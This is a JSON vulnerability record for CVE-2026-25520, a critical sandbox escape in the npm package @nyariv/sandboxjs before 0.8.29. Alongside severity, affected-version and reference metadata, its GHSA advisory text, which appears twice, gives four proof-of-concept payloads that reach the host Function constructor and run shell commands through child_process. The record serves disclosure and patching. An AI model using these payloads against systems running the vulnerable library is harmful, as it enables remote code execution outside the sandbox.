{"id":"CVE-2026-25520","aliases":["EUVD-2026-5591","GHSA-58jh-xv4v-pcx4"],"status":"published","title":"SandboxJS has a Sandbox Escape","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0085,"percentile":0.58599,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-74"],"published":"2026-02-05T20:41:28Z","modified":"2026-11-11T02:48:56Z","fixes":[{"ecosystem":"npm","package":"@nyariv/sandboxjs","fixed_in":["0.8.29"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.8.28"},{"fixed":"0.8.29"}]}]},{"source":"osv","ecosystem":"npm","package":"@nyariv/sandboxjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.29"}]}]}],"products":[{"vendor":"nyariv","product":"sandboxjs"}],"references":[{"url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-58jh-xv4v-pcx4","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25520","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-58jh-xv4v-pcx4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25520.json","tags":["advisory"]},{"url":"https://github.com/nyariv/SandboxJS","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25520","title":"SandboxJS has a Sandbox Escape","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T19:53:24.219Z","modified":"2026-02-06T20:18:08.646Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T13:41:30.911526Z"}],"euvd":[{"id":"EUVD-2026-5591","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T19:53:24Z","modified":"2026-02-06T20:18:08Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:48:42.836553Z"}],"ghsa":[{"id":"GHSA-58jh-xv4v-pcx4","title":"@nyariv/sandboxjs has a Sandbox Escape issue","description":"### Summary\n\nThe return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.\n\n### Details\n\nThe return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. \n\n### PoC\n\n```js\nconst s = require('@nyariv/sandboxjs').default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.values(this).at(0)(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.entries(this)[0].at(1)(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.entries(this)\n    .at(0)\n    .map((f) =\u003e {\n      if (typeof f === 'function') {\n        f.call('', 'return process')()\n          .getBuiltinModule('child_process')\n          .execSync('ls -lah', { stdio: 'inherit' });\n      }\n    }),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst t = (f) =\u003e {\n  f.call('', 'return process')()\n    .getBuiltinModule('child_process')\n    .execSync('ls -lah', { stdio: 'inherit' });\n};\nconsole.log(t.call(...Object.entries(this)[0]));\n`\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSanbox Escape -\u003e RCE","status":"published","published":"2026-02-05T20:41:28Z","modified":"2026-02-06T21:42:24Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:39:23.728882Z"}],"nvd":[{"id":"CVE-2026-25520","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T20:16:10.44Z","modified":"2026-06-17T10:24:46.997Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:12:05.52517Z"}],"osv":[{"id":"CVE-2026-25520","title":"SandboxJS has a Sandbox Escape","description":"SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox. This vulnerability is fixed in 0.8.29.","status":"published","published":"2026-02-06T19:53:24.219Z","modified":"2026-11-11T10:47:32.437332138Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-74"],"updated_at":"2026-11-11T03:21:32.226287Z"},{"id":"GHSA-58jh-xv4v-pcx4","title":"@nyariv/sandboxjs has a Sandbox Escape issue","description":"### Summary\n\nThe return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.\n\n### Details\n\nThe return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. \n\n### PoC\n\n```js\nconst s = require('@nyariv/sandboxjs').default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.values(this).at(0)(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.entries(this)[0].at(1)(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconsole.log(\n  Object.entries(this)\n    .at(0)\n    .map((f) =\u003e {\n      if (typeof f === 'function') {\n        f.call('', 'return process')()\n          .getBuiltinModule('child_process')\n          .execSync('ls -lah', { stdio: 'inherit' });\n      }\n    }),\n);\n`\n\nsb.compile(payload)().run();\n```\n\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nconst t = (f) =\u003e {\n  f.call('', 'return process')()\n    .getBuiltinModule('child_process')\n    .execSync('ls -lah', { stdio: 'inherit' });\n};\nconsole.log(t.call(...Object.entries(this)[0]));\n`\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSanbox Escape -\u003e RCE","status":"published","published":"2026-02-05T20:41:28Z","modified":"2026-02-06T22:22:10.705894Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:46:38.213481Z"}]}}